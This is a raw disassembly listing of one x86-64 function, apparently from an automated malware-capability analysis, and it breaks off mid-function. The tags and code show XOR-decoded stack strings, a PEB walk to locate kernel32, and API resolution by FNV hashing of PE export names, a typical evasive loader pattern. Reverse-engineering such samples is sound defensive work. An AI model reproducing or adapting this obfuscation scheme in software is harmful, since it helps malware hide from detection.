Function at 0x1400748b0
Capabilities:
Access peb ldr_data
Encode data using xor
Get kernel32 base address
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1a0]
sub rsp, 0x2a0
mov rax, qword [0x14014d0c0]
xor rax, rsp
mov qword [rbp + 0x180], rax
movsd xmm0, qword [str.CD_K_t_t]
movzx eax, word [0x1401382f8]
movzx ecx, byte [0x1401382fa]
movzx edx, byte [0x1401381d4]
movzx r10d, byte [0x140138162]
movzx r11d, byte [0x140139302]
movzx ebx, byte [0x140139282]
movsd qword [rbp - 0x40], xmm0
movsd xmm0, qword [str.RJW_W]
mov word [rbp - 0x38], ax
mov eax, dword [0x1401381d0]
movsd qword [rbp + 0x28], xmm0
movsd xmm0, qword [str.AV_n_bN]
mov dword [rbp + 0x30], eax
movzx eax, word [0x140138160]
movsd qword [rbp - 0x30], xmm0
movsd xmm0, qword [str.R_UXJR]
mov word [rbp - 0x28], ax
movzx eax, word [0x140139300]
movsd qword [rbp - 0x20], xmm0
movsd xmm0, qword [str._DNZHO]
mov word [rbp - 0x18], ax
movzx eax, word [0x140139280]
movsd qword [rbp - 0x10], xmm0
mov byte [rbp - 0x36], cl
mov byte [rbp + 0x34], dl
mov byte [rbp - 0x26], r10b
mov byte [rbp - 0x16], r11b
mov word [rbp - 8], ax
mov byte [rbp - 6], bl
test cl, cl
jne 0x1400749c4
xor byte [rbp - 0x40], 0x36
xor byte [rbp - 0x3f], 0x37
xor byte [rbp - 0x3e], 0x38
xor byte [rbp - 0x3d], 0x39
xor byte [rbp - 0x3c], 0x3a
xor byte [rbp - 0x3b], 0x3b
xor byte [rbp - 0x3a], 0x3c
xor byte [rbp - 0x39], 0x3d
xor byte [rbp - 0x38], 0x3e
xor byte [rbp - 0x37], 0x3f
mov byte [rbp - 0x36], 0x40
mov r14d, dword [reloc.WS2_32.dll_accept]
xor esi, esi
movaps xmmword [rsp + 0x290], xmm6
test dl, dl
jne 0x140074b23
mov r8d, esi
cmp r14d, 2
jl 0x140074ae0
movdqa xmm2, xmmword [0x1401395c0]
mov r8d, 8
movdqa xmm4, xmmword [0x1401397f0]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x1401395e0]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401395f0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, dword [rbp + 0x28]
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140139680]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.6666666666666666]
xorps xmm2, xmm0
punpckldq xmm1, xmm3
movd dword [rbp + 0x28], xmm2
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401395f0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, dword [rbp + 0x2c]
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140139680]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.6666666666666666]
xorps xmm2, xmm0
movd dword [rbp + 0x2c], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x28]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x36
add cl, r8b
inc r8d
xor byte [r9 - 1], cl
cmp r8d, 0xd
jl 0x140074af0
test r10b, r10b
jne 0x140074b54
xor byte [rbp - 0x30], 0x36
xor byte [rbp - 0x2f], 0x37
xor byte [rbp - 0x2e], 0x38
xor byte [rbp - 0x2d], 0x39
xor byte [rbp - 0x2c], 0x3a
xor byte [rbp - 0x2b], 0x3b
xor byte [rbp - 0x2a], 0x3c
xor byte [rbp - 0x29], 0x3d
xor byte [rbp - 0x28], 0x3e
xor byte [rbp - 0x27], 0x3f
mov byte [rbp - 0x26], 0x40
test r11b, r11b
jne 0x140074b85
xor byte [rbp - 0x20], 0x36
xor byte [rbp - 0x1f], 0x37
xor byte [rbp - 0x1e], 0x38
xor byte [rbp - 0x1d], 0x39
xor byte [rbp - 0x1c], 0x3a
xor byte [rbp - 0x1b], 0x3b
xor byte [rbp - 0x1a], 0x3c
xor byte [rbp - 0x19], 0x3d
xor byte [rbp - 0x18], 0x3e
xor byte [rbp - 0x17], 0x3f
mov byte [rbp - 0x16], 0x40
test bl, bl
jne 0x140074bb5
xor byte [rbp - 0x10], 0x36
xor byte [rbp - 0xf], 0x37
xor byte [rbp - 0xe], 0x38
xor byte [rbp - 0xd], 0x39
xor byte [rbp - 0xc], 0x3a
xor byte [rbp - 0xb], 0x3b
xor byte [rbp - 0xa], 0x3c
xor byte [rbp - 9], 0x3d
xor byte [rbp - 8], 0x3e
xor byte [rbp - 7], 0x3f
mov byte [rbp - 6], 0x40
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140074c47
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140074c47
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0xdcfc95e7
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140074c42
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x140074c20
cmp r8d, 0x7734e0b9
je 0x140074c4c
test r9d, r9d
jne 0x140074c00
mov rax, qword [rax]
jmp 0x140074bd0
mov ecx, dword [rdi + 0x24]
movzx eax, byte [rbp - 0x36]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov r8d, dword [rcx + rdx*4]
add r8, r10
test al, al
je 0x140074c99
xor byte [rbp - 0x40], 0x36
xor byte [rbp - 0x3f], 0x37
xor byte [rbp - 0x3e], 0x38
xor byte [rbp - 0x3d], 0x39
xor byte [rbp - 0x3c], 0x3a
xor byte [rbp - 0x3b], 0x3b
xor byte [rbp - 0x3a], 0x3c
xor byte [rbp - 0x39], 0x3d
xor byte [rbp - 0x38], 0x3e
xor byte [rbp - 0x37], 0x3f
xor al, 0x40
mov byte [rbp - 0x36], al
lea rcx, [rbp - 0x40]
call r8
mov rcx, qword gs:[0x60]
mov r15, rax
mov qword [rsp + 0x30], rax
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140074d37
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140074d37
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0xc80dbdf9
lea rax, [rbx + r9*4]
mov edx, dword [rax + r10]
add rdx, r10
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x140074d32
nop
movsx eax, al
lea rdx, [rdx + 1]
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx - 1]
test al, al
jne 0x140074d10
cmp r8d, 0x4e990df3
je 0x140074d3c
test r9d, r9d
jne 0x140074cf0
mov rcx, qword [rcx]
jmp 0x140074cc0
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov r11d, dword [rcx + rdx*4]
add r11, r10
cmp byte [rbp + 0x34], sil
je 0x140074ea4
mov r8d, esi
cmp r14d, 2
jl 0x140074e67
movdqa xmm2, xmmword [0x1401395c0]
mov r8d, 8
movdqa xmm4, xmmword [0x1401397f0]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x1401395e0]
movdqa xmm0, xmm2
mov eax, dword [str.6666666666666666]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401395f0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140139680]
movd xmm1, dword [rbp + 0x28]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movdqa xmm0, xmm3
xorps xmm2, xmm1
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
movd dword [rbp + 0x28], xmm2
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401395f0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140139680]
movd xmm1, dword [rbp + 0x2c]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x2c], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x28]
add r9, rax
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x36
add cl, r8b
inc r8d
xor byte [r9 - 1], cl
cmp r8d, 0xd
jl 0x140074e71
lea rcx, [rbp + 0x28]
call r11
mov rcx, qword gs:[0x60]
mov r12, rax
mov qword [rbp - 0x50], rax
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140074f47
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140074f47
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0xdf0ba397
lea rax, [rbx + r9*4]
mov edx, dword [rax + r10]
add rdx, r10
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x140074f42
nop
movsx eax, al
lea rdx, [rdx + 1]
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx - 1]
test al, al
jne 0x140074f20
cmp r8d, 0xf846ee49
je 0x140074f4c
test r9d, r9d
jne 0x140074f00
mov rcx, qword [rcx]
jmp 0x140074ed0
mov ecx, dword [rdi + 0x24]
movzx eax, byte [rbp - 0x26]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov r8d, dword [rcx + rdx*4]
add r8, r10
test al, al
je 0x140074f99
xor byte [rbp - 0x30], 0x36
xor byte [rbp - 0x2f], 0x37
xor byte [rbp - 0x2e], 0x38
xor byte [rbp - 0x2d], 0x39
xor byte [rbp - 0x2c], 0x3a
xor byte [rbp - 0x2b], 0x3b
xor byte [rbp - 0x2a], 0x3c
xor byte [rbp - 0x29], 0x3d
xor byte [rbp - 0x28], 0x3e
xor byte [rbp - 0x27], 0x3f
xor al, 0x40
mov byte [rbp - 0x26], al
lea rcx, [rbp - 0x30]
call r8
mov rcx, qword gs:[0x60]
mov qword [rsp + 0x38], rax
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop word [rax + rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140075037
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140075037
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x38918662
lea rax, [r10 + r9*4]
mov edx, dword [rax + rbx]
add rdx, r10
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x140075032
nop dword [rax]
movsx eax, al
lea rdx, [rdx + 1]
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx - 1]
test al, al
jne 0x140075010
cmp r8d, 0xba042a14
je 0x14007503c
test r9d, r9d
jne 0x140074ff0
mov rcx, qword [rcx]
jmp 0x140074fc0
mov ecx, dword [rdi + 0x24]
movzx eax, byte [rbp - 0x16]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov r8d, dword [rcx + rdx*4]
add r8, r10
test al, al
je 0x140075089
xor byte [rbp - 0x20], 0x36
xor byte [rbp - 0x1f], 0x37
xor byte [rbp - 0x1e], 0x38
xor byte [rbp - 0x1d], 0x39
xor byte [rbp - 0x1c], 0x3a
xor byte [rbp - 0x1b], 0x3b
xor byte [rbp - 0x1a], 0x3c
xor byte [rbp - 0x19], 0x3d
xor byte [rbp - 0x18], 0x3e
xor byte [rbp - 0x17], 0x3f
xor al, 0x40
mov byte [rbp - 0x16], al
lea rcx, [rbp - 0x20]
call r8
mov rcx, qword gs:[0x60]
mov r13, rax
mov qword [rbp - 0x58], rax
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax + rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140075127
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140075127
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x3593c040
lea rax, [r10 + r9*4]
mov edx, dword [rax + rbx]
add rdx, r10
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x140075122
nop dword [rax]
movsx eax, al
lea rdx, [rdx + 1]
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx - 1]
test al, al
jne 0x140075100
cmp r8d, 0x12b47d2
je 0x14007512c
test r9d, r9d
jne 0x1400750e0
mov rcx, qword [rcx]
jmp 0x1400750b0
mov ecx, dword [rdi + 0x24]
movzx eax, byte [rbp - 6]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov r8d, dword [rcx + rdx*4]
add r8, r10
test al, al
je 0x140075179
xor byte [rbp - 0x10], 0x36
xor byte [rbp - 0xf], 0x37
xor byte [rbp - 0xe], 0x38
xor byte [rbp - 0xd], 0x39
xor byte [rbp - 0xc], 0x3a
xor byte [rbp - 0xb], 0x3b
xor byte [rbp - 0xa], 0x3c
xor byte [rbp - 9], 0x3d
xor byte [rbp - 8], 0x3e
xor byte [rbp - 7], 0x3f
xor al, 0x40
mov byte [rbp - 6], al
lea rcx, [rbp - 0x10]
call r8
mov qword [rbp - 0x60], rax
cmp byte [rbp - 0x36], sil
jne 0x1400751b6
xor byte [rbp - 0x40], 0x36
xor byte [rbp - 0x3f], 0x37
xor byte [rbp - 0x3e], 0x38
xor byte [rbp - 0x3d], 0x39
xor byte [rbp - 0x3c], 0x3a
xor byte [rbp - 0x3b], 0x3b
xor byte [rbp - 0x3a], 0x3c
xor byte [rbp - 0x39], 0x3d
xor byte [rbp - 0x38], 0x3e
xor byte [rbp - 0x37], 0x3f
mov byte [rbp - 0x36], 0x40
cmp byte [rbp + 0x34], sil
jne 0x140075317
mov r8d, esi
cmp r14d, 2
jl 0x1400752c9
movdqa xmm2, xmmword [0x1401395c0]
mov r8d, 8
movdqa xmm4, xmmword [0x1401397f0]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x1401395e0]
movdqa xmm0, xmm2
mov eax, dword [str.6666666666666666]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401395f0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140139680]
movd xmm1, dword [rbp + 0x28]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movdqa xmm0, xmm3
xorps xmm2, xmm1
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
movd dword [rbp + 0x28], xmm2
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401395f0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140139680]
movd xmm1, dword [rbp + 0x2c]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x2c], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x28]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x36
add cl, r8b
inc r8d
xor byte [r9 - 1], cl
cmp r8d, 0xd
jl 0x1400752e0
mov rax, qword [rbp - 0x60]
cmp byte [rbp - 0x26], sil
jne 0x140075349
xor byte [rbp - 0x30], 0x36
xor byte [rbp - 0x2f], 0x37
xor byte [rbp - 0x2e], 0x38
xor byte [rbp - 0x2d], 0x39
xor byte [rbp - 0x2c], 0x3a
xor byte [rbp - 0x2b], 0x3b
xor byte [rbp - 0x2a], 0x3c
xor byte [rbp - 0x29], 0x3d
xor byte [rbp - 0x28], 0x3e
xor byte [rbp - 0x27], 0x3f
mov byte [rbp - 0x26], 0x40
cmp byte [rbp - 0x16], sil
jne 0x14007537b
xor byte [rbp - 0x20], 0x36
xor byte [rbp - 0x1f], 0x37
xor byte [rbp - 0x1e], 0x38
xor byte [rbp - 0x1d], 0x39
xor byte [rbp - 0x1c], 0x3a
xor byte [rbp - 0x1b], 0x3b
xor byte [rbp - 0x1a], 0x3c
xor byte [rbp - 0x19], 0x3d
xor byte [rbp - 0x18], 0x3e
xor byte [rbp - 0x17], 0x3f
mov byte [rbp - 0x16], 0x40
cmp byte [rbp - 6], sil
jne 0x1400753ad
xor byte [rbp - 0x10], 0x36
xor byte [rbp - 0xf], 0x37
xor byte [rbp - 0xe], 0x38
xor byte [rbp - 0xd], 0x39
xor byte [rbp - 0xc], 0x3a
xor byte [rbp - 0xb], 0x3b
xor byte [rbp - 0xa], 0x3c
xor byte [rbp - 9], 0x3d
xor byte [rbp - 8], 0x3e
xor byte [rbp - 7], 0x3f
mov byte [rbp - 6], 0x40
cmp qword [rsp + 0x38], rsi
je 0x140079ff9
test r15, r15
je 0x140079ff9
test r13, r13
je 0x140079ff9
test r12, r12
je 0x140079ff9
test rax, rax
je 0x140079ff9
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140075467
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140075467
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0xf424d98e
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140075462
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x140075440
cmp r8d, 0x40c2d1e
je 0x14007546c
test r9d, r9d
jne 0x140075420
mov rax, qword [rax]
jmp 0x1400753f0
mov ecx, dword [rdi + 0x24]
mov r8d, esi
mov eax, dword [0x140138778]
add rcx, r10
movups xmm0, xmmword [str.xCmJ_IuSTZ5]
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov r11d, dword [rcx + rdx*4]
mov dword [rbp + 0x78], eax
add r11, r10
movzx eax, word [0x14013877c]
mov word [rbp + 0x7c], ax
movzx eax, byte [0x14013877e]
mov byte [rbp + 0x7e], al
movups xmmword [rbp + 0x68], xmm0
cmp r14d, 2
jl 0x1400755f7
movdqa xmm0, xmmword [str.6666666666666666]
lea rcx, [rbp + 0x6c]
movdqa xmm5, xmmword [0x1401395c0]
movdqa xmm4, xmmword [0x1401397f0]
movdqa xmm6, xmmword [0x1401395f0]
movdqa xmmword [rsp + 0x20], xmm0
mov edx, dword [rsp + 0x20]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140139680]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140139680]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x1400754f0
cmp r8d, 0x17
jge 0x140075634
movsxd rax, r8d
lea r9, [rbp + 0x68]
add r9, rax
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x36
add cl, r8b
inc r8d
xor byte [r9 - 1], cl
cmp r8d, 0x17
jl 0x140075601
mov rcx, qword [rsp + 0x38]
lea rdx, [rbp + 0x68]
call r11
mov rcx, qword gs:[0x60]
mov qword [rbp - 0x48], rax
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop word [rax + rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400756d7
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400756d7
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x7521d30a
lea rax, [r10 + r9*4]
mov edx, dword [rax + rbx]
add rdx, r10
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x1400756d2
nop dword [rax]
movsx eax, al
lea rdx, [rdx + 1]
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx - 1]
test al, al
jne 0x1400756b0
cmp r8d, 0x256a5462
je 0x1400756dc
test r9d, r9d
jne 0x140075690
mov rcx, qword [rcx]
jmp 0x140075660
mov ecx, dword [rdi + 0x24]
mov r8d, esi
mov eax, dword [0x1401384f8]
add rcx, r10
movsd xmm0, qword [str.qRLzOIORLo_2B]
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov r11d, dword [rcx + rdx*4]
add r11, r10
mov dword [rbp + 0x40], eax
movzx eax, byte [0x1401384fc]
movsd qword [rbp + 0x38], xmm0
mov byte [rbp + 0x44], al
cmp r14d, 2
jl 0x140075820
movdqa xmm2, xmmword [0x1401395c0]
mov r8d, 8
movdqa xmm4, xmmword [0x1401397f0]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x1401395e0]
movdqa xmm0, xmm2
mov eax, dword [str.6666666666666666]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401395f0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140139680]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.qRLzOIORLo_2B]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rbp + 0x38], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401395f0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140139680]
movd xmm1, dword [rbp + 0x3c]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x3c], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x38]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x36
add cl, r8b
inc r8d
xor byte [r9 - 1], cl
cmp r8d, 0xd
jl 0x140075830
lea rdx, [rbp + 0x38]
mov rcx, r15
call r11
mov rcx, qword gs:[0x60]
mov qword [rsp + 0x40], rax
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140075907
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140075907
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x721f8fba
lea rax, [r10 + r9*4]
mov edx, dword [rax + rbx]
add rdx, r10
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x140075902
nop dword [rax]
movsx eax, al
lea rdx, [rdx + 1]
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx - 1]
test al, al
jne 0x1400758e0
cmp r8d, 0xa633e8d2
je 0x14007590c
test r9d, r9d
jne 0x1400758c0
mov rcx, qword [rcx]
jmp 0x140075890
mov ecx, dword [rdi + 0x24]
mov r8d, esi
movups xmm0, xmmword [str.eRLu_BYO__]
movzx eax, word [0x1401380c8]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov r11d, dword [rcx + rdx*4]
add r11, r10
mov word [rbp + 0x80], ax
movzx eax, byte [0x1401380ca]
mov byte [rbp + 0x82], al
movups xmmword [rbp + 0x68], xmm0
movsd xmm0, qword [0x1401380c0]
movsd qword [rbp + 0x78], xmm0
cmp r14d, 2
jl 0x140075a99
movdqa xmm0, xmmword [str.6666666666666666]
lea rcx, [rbp + 0x6c]
movdqa xmm5, xmmword [0x1401395c0]
movdqa xmm4, xmmword [0x1401397f0]
movdqa xmm6, xmmword [0x1401395f0]
